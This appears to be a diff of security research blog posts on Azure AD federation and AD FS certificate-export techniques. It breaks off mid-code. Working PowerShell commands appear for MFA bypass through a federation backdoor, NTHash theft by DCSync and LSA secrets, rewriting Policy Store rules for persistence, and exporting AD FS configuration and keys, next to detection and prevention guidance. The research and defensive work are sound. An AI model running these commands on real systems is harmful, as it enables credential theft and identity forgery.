<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
|
||||
|
||||
Error code | Message | Description
|
||||
--- | --- | ---
|
||||
AADSTS50107 | Requested federation realm object ‘issuer’ does not exist | The issuer was not found. <br><br>**Note:** If the domain is recently changed to federated, it can take up to 30 minutes for the change to take effect.
|
||||
|
||||
## 5. Public key matches the realm?
|
||||
After finding the realm, the public key received in the authentication request is checked against the signing certificate of the realm. If they match, the authentication flow proceeds to the next step. If not, the following error is shown.
|
||||
|
||||
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
|
||||
|
||||
Error code | Message | Description
|
||||
--- | --- | ---
|
||||
AADSTS50008 | InvalidSamlToken - SAML assertion is missing or misconfigured in the token. | WSFED: The signing certificate does not match the realm’s public key.
|
||||
AADSTS500081 | Unable to verify the token signature. The signing key identifier does not match any valid registered keys. | SAMLP: The signing certificate does not match the realm’s public key.
|
||||
|
||||
## 6. Check the signature
|
||||
After checking that the public key matches, the signature of the SAML or SAML2 token are checked. Checking the signature allows Azure AD to make sure that the token is issued by the correct certificate, and that it is not tampered.
|
||||
|
||||
## 7. Is the signature valid?
|
||||
If the signature is valid, authentication flow proceeds to the next step. If the signature is not valid, the following error is shown.
|
||||
|
||||
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
|
||||
|
||||
Error code | Message | Description
|
||||
--- | --- | ---
|
||||
AADSTS50008 | InvalidSamlToken - SAML assertion is missing or misconfigured in the token. | WSFED: The signature is invalid: the content of the token might have been altered.
|
||||
AADSTS50006 | InvalidSignature - Signature verification failed because of an invalid signature | SAMLP: The signature is invalid: the content of the token might have been altered.
|
||||
|
||||
## 8. Search the user
|
||||
After the validity of the token is confirmed, the corresponding user object is searched from the tenant. The token contains the user’s UserPrincipalName and ImmutableId. **Azure AD searches the user object using only the ImmutableId**; the UserPrincipalName is not used at all. Thus, the UserPrincipalName can be any string, such as rudolf@santaclaus.com.
|
||||
|
||||
The search procedure searches for a user object having the matching ImmutableId. I would like to emphasize that **there are no sanity checks whether the user’s domain matches the federation realm**. In practice, this allows all tenant’s IdPs to create valid tokens for any user of the tenant. This includes xxx.onmicrosoft.com and external users.
|
||||
|
||||
## 9. User found?
|
||||
If the user object is found, the authentication flow proceeds to the final step. If not, the following error is shown.
|
||||
|
||||
<a href="https://docs.microsoft.com/en-us/azure/active-directory/develop/reference-aadsts-error-codes" target=_blank">Error codes</a>:
|
||||
|
||||
Error code | Message | Description
|
||||
--- | --- | ---
|
||||
AADSTS51004 | UserAccountNotInDirectory - The user account doesn’t exist in the directory. <br><br>The user account "ImmutableId" does not exist in the "tenant guid" directory. To sign into this application, the account must be added to the directory. | The user does not exist in the tenant.
|
||||
|
||||
## 10. Log the user in
|
||||
The last step of the authentication flow is to log the user in.
|
||||
|
||||
After the login, post-authentication steps, such as **Multi-Factor Authentication (MFA)** and Conditional Access Policies are applied.
|
||||
|
||||
WS-FED token has a special functionality, which allows bypassing the MFA. This functionality is meant for the situation, where IdP performs MFA and the Azure AD MFA needs to be bypassed. This information is delivered to Azure AD using a special claim that can be embedded to WS-FED tokens. Azure AD bypasses MFA every time this claim is present in WS-FED token, regardless of has the IdP actually performed the MFA.
|
||||
|
||||
**Example:** Bypass the MFA using the backdoor created above in step 3.
|
||||
{{< highlight powershell >}}
|
||||
# Login and bypass MFA
|
||||
Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA $true
|
||||
{{< /highlight>}}
|
||||
@@ -1,608 +0,0 @@
|
||||
+++
|
||||
title = "Exporting AD FS certificates revisited: Tactics, Techniques and Procedures"
|
||||
date = "2021-04-27"
|
||||
lastmod = "2022-09-09"
|
||||
categories =["blog"]
|
||||
tags = ["Azure Active Directory","Azure","ADFS"]
|
||||
thumbnail = "/images/posts/ADFS.png"
|
||||
+++
|
||||
|
||||
I've talked about AD FS issues for a couple years now, and finally, after the Solorigate/Sunburst, the world is finally listening 😉
|
||||
|
||||
In this blog, I'll explain the currently known TTPs to exploit AD FS certificates, and introduce a totally new technique to export the configuration data remotely.
|
||||
|
||||
<!--more-->
|
||||
# Introduction
|
||||
|
||||
I faced the first issues with the Office 365 / Azure AD identity federation in <a href="/post/federation-vulnerability/" target="_blank">2017</a>,
|
||||
when I found out that you could login in as any user of the tenant, regardless were they federated or not. The requirement was that the **immutableId** property
|
||||
of the user was known. The property would be populated automatically for all synced user, for non-synced user this is possible to set manually by admins.
|
||||
|
||||
I also knew that it was possible to create SAML tokens to exploit this, as long I would have access token signing certificate. I also knew that the certificate
|
||||
was stored in the configuration database and encrypted with a key that was stored in AD. Regardless of the hours spent trying to solve the mystery, I just couldn't
|
||||
decrypt the certificate.
|
||||
|
||||
But then came the <a href="https://troopers.de/troopers19/" target="_blank">TROOPERS19</a>, and the wonderful presentation <a href="https://www.slideshare.net/DouglasBienstock/troopers-19-i-am-ad-fs-and-so-can-you" target="_blank">I am AD FS and So Can You</a> by
|
||||
Douglas Bienstock (<a href="https://twitter.com/doughsec">@doughsec</a>) and Austin Baker (<a href="https://twitter.com/BakedSec">@BakedSec</a>). Their seminal research finally revealed how to decrypt AD FS certificates!
|
||||
The two famous tools were also introduced: <a href="https://github.com/fireeye/ADFSdump" target="_blank">ADFSDump</a> and <a href="https://github.com/fireeye/ADFSpoof" target="_blank">ADFSpoof</a>.
|
||||
|
||||
For short, to export AD FS token signing certificate, two things are needed: AD FS configuration data and certificate encryption key.
|
||||
|
||||
At late 2020, the world finally woke up after an attack against SolarWinds. The attack is better known as Solorigate or Sunburst, and among other things, it exploited the known AD FS issues to get access to SolarWinds' customers
|
||||
Microsoft clouds. Since then, many providers (including Microsoft) have published a loads of material on how to detect such attacks and how to mitigate allready compromised environments.
|
||||
|
||||
In this blog, I'll deep-dive in to TTPs these attacks used, how to detect them, and how to protect from future attacks (where applicable).
|
||||
|
||||
AD FS certification export supports now all methods included in the **AD FS attack graph** I presented at <a href="https://troopers.de" target="_blank">TROOPERS</a> conference in June 2022 (presentation slide deck available <a href="/talks/Eight ways to compromise AD FS certificates.pdf">here</a>).
|
||||
|
||||

|
||||
|
||||
# Exporting configuration
|
||||
|
||||
Regardless of the deployment model, AD FS configuration is always stored to a database. For smaller environments, the Windows Internal Database (WID) is used, and Microsoft SQL for larger ones.
|
||||
|
||||
The actual configuration is an xml file, including all the settings of the AD FS service. The xml file has over 1000 lines, below is an exerpt with the interesting data.
|
||||
|
||||
{{< highlight xml "linenos=inline,hl_lines=9 21 32 42 68 69 70" >}}
|
||||
<ServiceSettingsData xmlns:i="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://schemas.datacontract.org/2012/04/ADFS">
|
||||
<SecurityTokenService>
|
||||
<AdditionalEncryptionTokens>
|
||||
<CertificateReference>
|
||||
<IsChainIncluded>false</IsChainIncluded>
|
||||
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
|
||||
<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
|
||||
<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
|
||||
<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
|
||||
<StoreNameValue>My</StoreNameValue>
|
||||
<StoreLocationValue>CurrentUser</StoreLocationValue>
|
||||
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
|
||||
</CertificateReference>
|
||||
</AdditionalEncryptionTokens>
|
||||
<AdditionalSigningTokens>
|
||||
<CertificateReference>
|
||||
<IsChainIncluded>false</IsChainIncluded>
|
||||
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
|
||||
<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
|
||||
<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
|
||||
<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
|
||||
<StoreNameValue>My</StoreNameValue>
|
||||
<StoreLocationValue>CurrentUser</StoreLocationValue>
|
||||
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
|
||||
</CertificateReference>
|
||||
</AdditionalSigningTokens>
|
||||
<EncryptionToken>
|
||||
<IsChainIncluded>false</IsChainIncluded>
|
||||
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
|
||||
<FindValue>B7C09D5C2F434A2B746D200946202DE273A4B68C</FindValue>
|
||||
<RawCertificate>MII[redacted]+RAh7dEypFVmcIyCd</RawCertificate>
|
||||
<EncryptedPfx>AAAAA[redacted]Dbb5/gJLkQ==</EncryptedPfx>
|
||||
<StoreNameValue>My</StoreNameValue>
|
||||
<StoreLocationValue>CurrentUser</StoreLocationValue>
|
||||
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
|
||||
</EncryptionToken>
|
||||
<SigningToken>
|
||||
<IsChainIncluded>false</IsChainIncluded>
|
||||
<IsChainIncludedSpecified>false</IsChainIncludedSpecified>
|
||||
<FindValue>6FFF3A436D13EB299549F2BA93D485CBD050EB4F</FindValue>
|
||||
<RawCertificate>MII[redacted]OzFUGmGWPXqLk</RawCertificate>
|
||||
<EncryptedPfx>AAAAA[redacted]+evM94M17iG9P6VDFrA==</EncryptedPfx>
|
||||
<StoreNameValue>My</StoreNameValue>
|
||||
<StoreLocationValue>CurrentUser</StoreLocationValue>
|
||||
<X509FindTypeValue>FindByThumbprint</X509FindTypeValue>
|
||||
</SigningToken>
|
||||
</SecurityTokenService>
|
||||
<PolicyStore>
|
||||
<AuthorizationPolicy>@RuleName = "Permit Service Account"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
@RuleName = "Permit Local Administrators"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
</AuthorizationPolicy>
|
||||
<AuthorizationPolicyReadOnly>@RuleName = "Permit Service Account"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2918793985-2280761178-2512057791-1134"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
@RuleName = "Permit Local Administrators"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
</AuthorizationPolicyReadOnly>
|
||||
<DkmSettings>
|
||||
<Group>87f0e958-be86-4c39-b469-ac94b5924bd2</Group>
|
||||
<ContainerName>CN=ADFS</ContainerName>
|
||||
<ParentContainerDn>CN=Microsoft,CN=Program Data,DC=aadinternals,DC=com</ParentContainerDn>
|
||||
<PreferredReplica i:nil="true" />
|
||||
<Enabled>true</Enabled>
|
||||
</DkmSettings>
|
||||
</PolicyStore>
|
||||
</ServiceSettingsData>
|
||||
{{< /highlight>}}
|
||||
|
||||
## Local
|
||||
|
||||
### Access config database
|
||||
|
||||
This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data. In this scenario, there is one Primary AD FS node, and one or more Secondary AD FS nodes.
|
||||
All the management must be done in the primary node, from where all the secondary nodes will fetch the configuration once in five minutes:
|
||||
|
||||

|
||||
|
||||
The configuration can be exported from any AD FS server of the farm, regardless are they primary or secondary nodes.
|
||||
|
||||
Technically, the export is performed by executing a SQL query against the WID:
|
||||
|
||||

|
||||
|
||||
The database connection string can be queried using WMI:
|
||||
{{< highlight powershell>}}
|
||||
(Get-WmiObject -Namespace root/AD FS -Class SecurityTokenService).ConfigurationDatabaseConnectionString
|
||||
{{< /highlight>}}
|
||||
For Windows Server 2019 AD FS the connection string is:
|
||||
```
|
||||
Data Source=np:\\.\pipe\microsoft##wid\tsql\query;Initial Catalog=ADFSConfigurationV4;Integrated Security=True
|
||||
```
|
||||
|
||||
The actual configuration data can now be fetched with the following SQL query:
|
||||
{{< highlight SQL>}}
|
||||
SELECT ServiceSettingsData from IdentityServerPolicy.ServiceSettings
|
||||
{{< /highlight>}}
|
||||
|
||||
|
||||
To export the configuration with AADInternals:
|
||||
{{< highlight powershell>}}
|
||||
# Export configuration and store to variable
|
||||
$ADFSConfig = Export-AADIntADFSConfiguration -Local
|
||||
{{< /highlight>}}
|
||||
|
||||
Or, to save it to a file:
|
||||
{{< highlight powershell>}}
|
||||
# Export configuration to file
|
||||
Export-AADIntAD SConfiguration | Set-Content ADFSConfig.xml -Encoding UTF8
|
||||
{{< /highlight>}}
|
||||
|
||||
Another technique requiring access to AD FS server would be to download the configuration database from a remote computer same way as Dirk-Jan Mollena (<a href="https://twitter.com/_dirkjan" target="_blank">@_dirkjan</a>) does with his <a href="https://github.com/fox-it/adconnectdump" target="_blank">adconnectdump</a> tool.
|
||||
However, AFAIK, this has not implemented yet.
|
||||
|
||||
### Detecting access to config database
|
||||
Exploiting this scenario requires logging in to AD FS server. As such, the exploitation can be detected by:
|
||||
|
||||
* Monitoring the Security log for the suspicious logons
|
||||
* Enabling audit logging in WID for ServiceSettings queries and monitoring for suspicious access
|
||||
|
||||
To enable AD FS audit logging, connect to WID database by SQL Management Studio or **sqlcmd** using database information from connection string above:
|
||||
```
|
||||
sqlcmd -S \\.\pipe\microsoft##wid\tsql\query
|
||||
```
|
||||
The following SQL query will enable logging for all SELECT statements against ServiceSettings table.
|
||||
The server level auditing created in row 3 is attached to **Application Log** and enabled in row 5. In row 7, use the correct database name from the connection string above (depends on the AD FS version).
|
||||
The database level auditing is defined in row 9 to include all SELECT statements against ServiceSettings table, and enabled in row 11.
|
||||
{{< highlight sql "hl_lines=7" >}}
|
||||
USE [master]
|
||||
GO
|
||||
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
|
||||
GO
|
||||
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] WITH (STATE = ON)
|
||||
GO
|
||||
USE [ADFSConfigurationV4]
|
||||
GO
|
||||
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_LOG] ADD (SELECT ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
|
||||
GO
|
||||
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_ACCESS_AUDIT] WITH (STATE = ON)
|
||||
GO
|
||||
{{< /highlight >}}
|
||||
|
||||
As a result, all queries for ServiceSettings are now logged to Application log with **event id 33205**. If the **server_principal_name** is not the AD FS service user, the alert should be raised.
|
||||
|
||||

|
||||
|
||||
The server level auditing will generate some extra log events, but database level audit should only include the local exports.
|
||||
|
||||
### Preventing access to config database
|
||||
Dumping databases locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
|
||||
|
||||
### .NET reflection
|
||||
|
||||
This technique also requires a local admin rights to AD FS server. Basic idea is to run a legit <a href="https://docs.microsoft.com/en-us/powershell/module/adfs/get-adfsproperties" target="_blank">Get‑AdfsProperties</a> command and
|
||||
get the configuration using .NET reflection. This technique was introduced in Microsoft's <a href="https://github.com/microsoft/adfsToolbox" target="_blank">ADFSToolbox</a>.
|
||||
ADFSToolbox contains tools "for helping you manage your AD FS farm".
|
||||
|
||||
The source code of <a href="https://github.com/Microsoft/adfsToolbox/blob/master/serviceAccountModule/Tests/Test.ServiceAccount.ps1#L199-L208">Test.ServiceAccount.ps1</a> file shows the following:
|
||||
|
||||
{{< highlight PowerShell "linenos=inline,linenostart=199">}}
|
||||
# Gets internal ADFS settings by extracting them Get-AdfsProperties
|
||||
function Get-AdfsInternalSettings()
|
||||
{
|
||||
$settings = Get-AdfsProperties
|
||||
$settingsType = $settings.GetType()
|
||||
$propInfo = $settingsType.GetProperty("ServiceSettingsData", [System.Reflection.BindingFlags]::Instance -bor [System.Reflection.BindingFlags]::NonPublic)
|
||||
$internalSettings = $propInfo.GetValue($settings, $null)
|
||||
|
||||
return $internalSettings
|
||||
}
|
||||
{{< /highlight >}}
|
||||
|
||||
### Detecting and preventing .NET reflection
|
||||
|
||||
As this technique is using legit AD FS management cmdlet, it practically can't be detected or prevented, but the limiting access to a minimum would reduce the attack surface.
|
||||
|
||||
|
||||
## Remote as AD FS service account
|
||||
|
||||
Dumping the configuration remotely is a totally new functionality in AADInternals and it required a lot of refactoring of Kerberos related functionality :sweat_smile:
|
||||
|
||||
The idea for this was given by my colleague **Ryan Cobb** from Secureworks a couple of weeks ago. After tweeting about this new finding, it turned out that, coincidentally, **@doughsec** had also
|
||||
researched the same technique a couple of months earlier. The report by **@doughsec** is available <a href="https://www.fireeye.com/blog/threat-research/2021/04/abusing-replication-stealing-adfs-secrets-over-the-network.html" target="_blank">here</a>,
|
||||
I'll post a detailed blog about my research process later.
|
||||
|
||||
The basic idea here is to emulate the AD FS synchronisation by pretending to be the AD FS service:
|
||||
|
||||

|
||||
|
||||
It turned out that the "AD FS sync" is using SOAP for getting settings. The interesting part is that the whole process takes place using http (not https) and can therefore be monitored by using a proxy like Fiddler or Burp.
|
||||
However, the content of the SOAP messages are encrypted. I'll not dive into details in this blog, but the process involves Kerberos authentication and exchanging a bunch of encryption keys.
|
||||
|
||||
I had earlier implemented functionality to create Kerberos tokens to exploit Seamless SSO. To get it to work with AD FS, I had to do some modifications, but that is also another story 😉
|
||||
|
||||
Getting the configuration remotely requires a couple of things:
|
||||
|
||||
* Ip address or FQDN of **any AD FS server**
|
||||
* NTHash of the AD FS service user
|
||||
* SID of the AD FS service user
|
||||
|
||||
With the NTHash and SID, we can craft a Kerberos token and use it to authenticate against AD FS. After the authentication is completed, we can send an (encrypted) SOAP message to:
|
||||
```
|
||||
http://<server>/ADFS/services/policystoretransfer
|
||||
```
|
||||
The SOAP message would contain the following payload:
|
||||
|
||||
{{< highlight xml >}}
|
||||
<GetState xmlns="http://schemas.microsoft.com/ws/2009/12/identityserver/protocols/policystore">
|
||||
<serviceObjectType>ServiceSettings</serviceObjectType>
|
||||
<mask xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
|
||||
<filter xmlns:i="http://www.w3.org/2001/XMLSchema-instance" i:nil="true"/>
|
||||
<clientVersionNumber>1</clientVersionNumber>
|
||||
</GetState>
|
||||
{{< /highlight >}}
|
||||
|
||||
Getting the AD FS service user's NTHash would usually require tools like <a href="https://github.com/gentilkiwi/mimikatz/wiki" target="_blank">Mimikatz</a> or <a href="https://github.com/MichaelGrafnetter/DSInternals" target="_blank">DSInternals</a>.
|
||||
|
||||
To make it easier for **AADInternals** users, I've included a slighty modified **DSInternals.Replication** functionality which allows getting user information directly from Domain Controllers by emulating DCSync.
|
||||
|
||||
First, we need to get the object guid of the AD FS service user. Below I'm using sv_ADFS but that depends on your configuration.
|
||||
{{< highlight powershell >}}
|
||||
Get-ADObject -filter * -Properties objectguid,objectsid | Where-Object name -eq sv_ADFS | Format-List Name,ObjectGuid,ObjectSid
|
||||
{{< /highlight >}}
|
||||
```
|
||||
Name : sv_ADFS
|
||||
ObjectGuid : b6366885-73f0-4239-9cd9-4f44a0a7bc79
|
||||
ObjectSid : S-1-5-21-1332519571-494820645-211741994-8710
|
||||
```
|
||||
|
||||
Next, we can query the NTHash of the AD FS service user, which requires credentials having replication permissions.
|
||||
{{< highlight powershell >}}
|
||||
# Save credentials to a variable
|
||||
$cred = Get-Credential
|
||||
|
||||
# Get the NTHash as hex string
|
||||
Get-AADIntADUserNTHash -ObjectGuid "b6366885-73f0-4239-9cd9-4f44a0a7bc79" -Credentials $creds -Server dc.company.com -AsHex
|
||||
{{< /highlight >}}
|
||||
```
|
||||
6e36047d34057fbb8a4e0ce8933c73cf
|
||||
```
|
||||
|
||||
Another option to get NTHash is to get AD FS service account's password from AD FS server (requires local admin rights):
|
||||
{{< highlight powershell >}}
|
||||
# Get NTHash of the AD FS service account
|
||||
Get-AADIntLSASecrets -AccountName sv_ADFS | Select-Object -ExpandProperty MD4Txt
|
||||
{{< /highlight >}}
|
||||
```
|
||||
6e36047d34057fbb8a4e0ce8933c73cf
|
||||
```
|
||||
|
||||
Finally, as we have all we need, we can get the configuration remotely:
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Export configuration remotely and store to variable
|
||||
$ADFSConfig = Export-AADIntADFSConfiguration -Hash "6e36047d34057fbb8a4e0ce8933c73cf" -SID "S-1-5-21-1332519571-494820645-211741994-8710" -Server sts.company.com
|
||||
{{< /highlight >}}
|
||||
|
||||
**Note!** Getting configuration remotely **works also when using the full SQL for storing the configuration data**. In this scenario, there
|
||||
are no primary or secondary servers because all servers are using a centralised database.
|
||||
As such, **there is no need for the AD FS sync and it should not be enabled at all**!
|
||||
However, this how Microsoft designed AD FS, so there is nothing we can do about it 😞
|
||||
|
||||
### Detecting
|
||||
AD FS configuration sync is not logged to anywhere. However, enabling AD FS Tracing, will record **event id 54**, which indicates a succesful authentication:
|
||||
|
||||

|
||||
|
||||
If the authentication timestamp is out of normal sync times, or from "wrong" computer, an alert should be raised.
|
||||
|
||||
### Preventing
|
||||
AD FS service requires that https traffic is allowed. Http traffic is only used by load balancers to probe whether the AD FS service is up or not:
|
||||
```
|
||||
http://<server>/ADFS/probe
|
||||
```
|
||||
As such, allowing http traffic only from other AD FS servers, proxies, and load balancers would reduce the attack surface.
|
||||
|
||||
## Remote as any user
|
||||
Attackers may also <a href="#editing-policy-store-rules" target="_blank">alter the Policy Store Rules</a> to allow anyone to read the configuration.
|
||||
|
||||
**AADInternals** supports exporting the configuration remotely as the logged in user since v0.4.9.
|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Export configuration remotely as a logged in user and store to variable
|
||||
$ADFSConfig = Export-AADIntADFSConfiguration -Server sts.company.com -AsLoggedInUser
|
||||
{{< /highlight>}}
|
||||
|
||||
### Detecting
|
||||
For the AD FS servers, same detection techniques apply as above. However, now the user dumping configuration will first need to get Kerberos token from the DC.
|
||||
As such, we can monitor for any suspicious login activities.
|
||||
|
||||
### Preventing
|
||||
Blocking all http traffic (port 80) to AD FS servers would prevent exporting the configuration.
|
||||
|
||||
|
||||
# Editing Policy Store Rules
|
||||
|
||||
Besides exporting the configuration, adversaries can also edit the configuration. This scenario requires a local admin rights to AD FS server, and that WID is used to store configuration data.
|
||||
|
||||
The access to configuration data is limited by **Policy Store Rules**. The default rules are similar to following:
|
||||
|
||||
```
|
||||
AuthorizationPolicyReadOnly : @RuleName = "Permit Service Account"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
@RuleName = "Permit Local Administrators"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
AuthorizationPolicy : @RuleName = "Permit Service Account"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/primarysid", Value == "S-1-5-21-2108354183-1066939247-874701363-3086"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
@RuleName = "Permit Local Administrators"
|
||||
exists([Type == "http://schemas.microsoft.com/ws/2008/06/identity/claims/groupsid", Value == "S-1-5-32-544"])
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
|
||||
```
|
||||
|
||||
As we can see, there are two rules: one for Read-Write permissions and one for Read-Only permission. The rules are defined using <a href="https://techcommunity.microsoft.com/t5/ask-the-directory-services-team/ad-fs-2-0-claims-rule-language-primer/ba-p/399789" target="_blank">AD FS Claims Rule Language</a>.
|
||||
As such, we can define as complex rules for giving permissions as we want to. The default rules are assigning RW permissions to the Local Administrators (group) and to AD FS service user (user or gMSA).
|
||||
|
||||
During the initial attack/compromise, adversaries often would like to have more persistent access to the configuration data. The easiest way to achieve this is to allow read permissions to all users. **AADInternals** supports editing the Policy Store Rules since v0.4.8.
|
||||
|
||||
Technically, the export is edited by executing a SQL query against the WID:
|
||||
|
||||

|
||||
|
||||
The following script will change the Read-Only permission so that anyone can get the configuration - RW permissions remain intact.
|
||||
{{< highlight powershell >}}
|
||||
# Get Policy Store Authorisation Policy rules from the local AD FS
|
||||
$authPolicy = Get-AADIntADFSPolicyStoreRules
|
||||
|
||||
# Get the configuration from the local AD FS server and set read-only policy to allow all to read
|
||||
$config = Set-AADIntADFSPolicyStoreRules -AuthorizationPolicy $authPolicy.AuthorizationPolicy
|
||||
|
||||
# Set the configuration to the local AD FS database
|
||||
Set-AADIntADFSConfiguration -Configuration $config
|
||||
{{< /highlight>}}
|
||||
|
||||
The resulting rule for AuthorizationPolicyReadOnly:
|
||||
```
|
||||
=> issue(Type = "http://schemas.microsoft.com/authorization/claims/permit", Value = "true");
|
||||
```
|
||||
|
||||
As a result, exporting AD FS configuration remotely doesn't require Local Admin permissions on the AD FS server or AD FS service account credentials/hash. Any use who can log in to the domain (or AD FS server) can now export the configuration remotely.
|
||||
|
||||
## Detecting
|
||||
|
||||
Detection happens in a similar manner than in exporting the local configuration. The following SQL query will enable logging for all UPDATE statements against ServiceSettings table.
|
||||
|
||||
{{< highlight sql >}}
|
||||
USE [master]
|
||||
GO
|
||||
CREATE SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] TO APPLICATION_LOG WITH (QUEUE_DELAY = 1000, ON_FAILURE = CONTINUE)
|
||||
GO
|
||||
ALTER SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] WITH (STATE = ON)
|
||||
GO
|
||||
USE [ADFSConfigurationV4]
|
||||
GO
|
||||
CREATE DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] FOR SERVER AUDIT [ADFS_AUDIT_APPLICATION_UPDATE_LOG] ADD (UPDATE ON OBJECT::[IdentityServerPolicy].[ServiceSettings] BY [public])
|
||||
GO
|
||||
ALTER DATABASE AUDIT SPECIFICATION [ADFS_SETTINGS_UPDATE_AUDIT] WITH (STATE = ON)
|
||||
GO
|
||||
{{< /highlight >}}
|
||||
|
||||
Now all edit events are logged to the Application log:
|
||||
|
||||

|
||||
|
||||
|
||||
## Preventing
|
||||
|
||||
Editing database locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
|
||||
|
||||
|
||||
# Exporting configuration encryption key
|
||||
|
||||
AD FS is using Distributed Key Manager (DKM) container to store the configuration encryption key in Active Directory. Container location is included in the configuration xml (lines 69 and 70).
|
||||
|
||||
Inside the container there are one or more "Groups". The correct group is also included in the configuration xml (line 68). Inside the group, there are two (or more) contact objects.
|
||||
One of those objects is always named to "CryptoPolicy" and its **DisplayName** attribute is a GUID. The encryption key is located in the object, which has an "**l**" (location) attribute value matching
|
||||
the **DisplayName of the CryptoPolicy object**.
|
||||
|
||||

|
||||
|
||||
## Local (.NET reflection)
|
||||
|
||||
The local export here refers to export taking place on AD FS server. This technique is also using .NET reflection as introduced in <a href="https://www.microsoft.com/security/blog/2021/09/27/foggyweb-targeted-nobelium-malware-leads-to-persistent-backdoor" target="_blank">FoggyWeb</a>:
|
||||
|
||||

|
||||
|
||||
The basic idea here is to use AD FS binaries to get the key for you, making it extremely stealthy.
|
||||
|
||||
However, the code must be run as AD FS service account. Long story short, I solved this challenge by running a custom made service as AD FS service account.
|
||||
|
||||
|
||||

|
||||
|
||||
After the service is started, it will listen a named pipe to get configuration sent by AADInternals. After receiving the configuration, the service
|
||||
will use .NET reflection to get the DKM key from AD and returns it to AADInternals via named pipe. Source code of the service available in <a href="https://github.com/Gerenios/public/blob/master/KDFDumpService.cs" target="_blank">github</a>.
|
||||
|
||||
To export the key with AADInternals:
|
||||
{{< highlight powershell >}}
|
||||
# Export encryption key and store to variable
|
||||
$ADFSKey = Export-AADIntEncryptionKey -Local -Configuration $ADFSConfig
|
||||
{{< /highlight >}}
|
||||
|
||||
### Detecting
|
||||
Detecting the encryption key export is based on enabling auditing the access to AD FS DKM container.
|
||||
For instance, Roberto Rodriguez (<a href="https://twitter.com/Cyb3rWard0g/" target="_blank">@Cyb3rWard0g</a>) has published a great <a href="https://threathunterplaybook.com/library/windows/adfs_dkm_keys.html" target="_blank">article</a>
|
||||
on how to enable auditing.
|
||||
|
||||
However, as this technique is using AD FS binaries as AD FS service account to access DKM container, it is in practice undetectable.
|
||||
|
||||
On AD FS server, the service used to get the key is present for a very brief time:
|
||||

|
||||
|
||||
Monitoring creation of new services, especially those running as AD FS service account, helps to detect execution of this technique.
|
||||
|
||||
### Preventing
|
||||
Exporting the encryption key locally can not be fully prevented, but the limiting access to a minimum would reduce the attack surface.
|
||||
|
||||
## Remote
|
||||
Exporting the encryption key remotely is using DCSync. As such, the credentials with directory replication rights are needed, but the actual export can be performed from any computer.
|
||||
Also the object guid of the DKM object is needed.
|
||||
|
||||

|
||||
|
||||
{{< highlight powershell >}}
|
||||
# Save credentials to a variable
|
||||
$cred = Get-Credential
|
||||
|
||||
# Export encryption key remotely and store to variable
|
||||
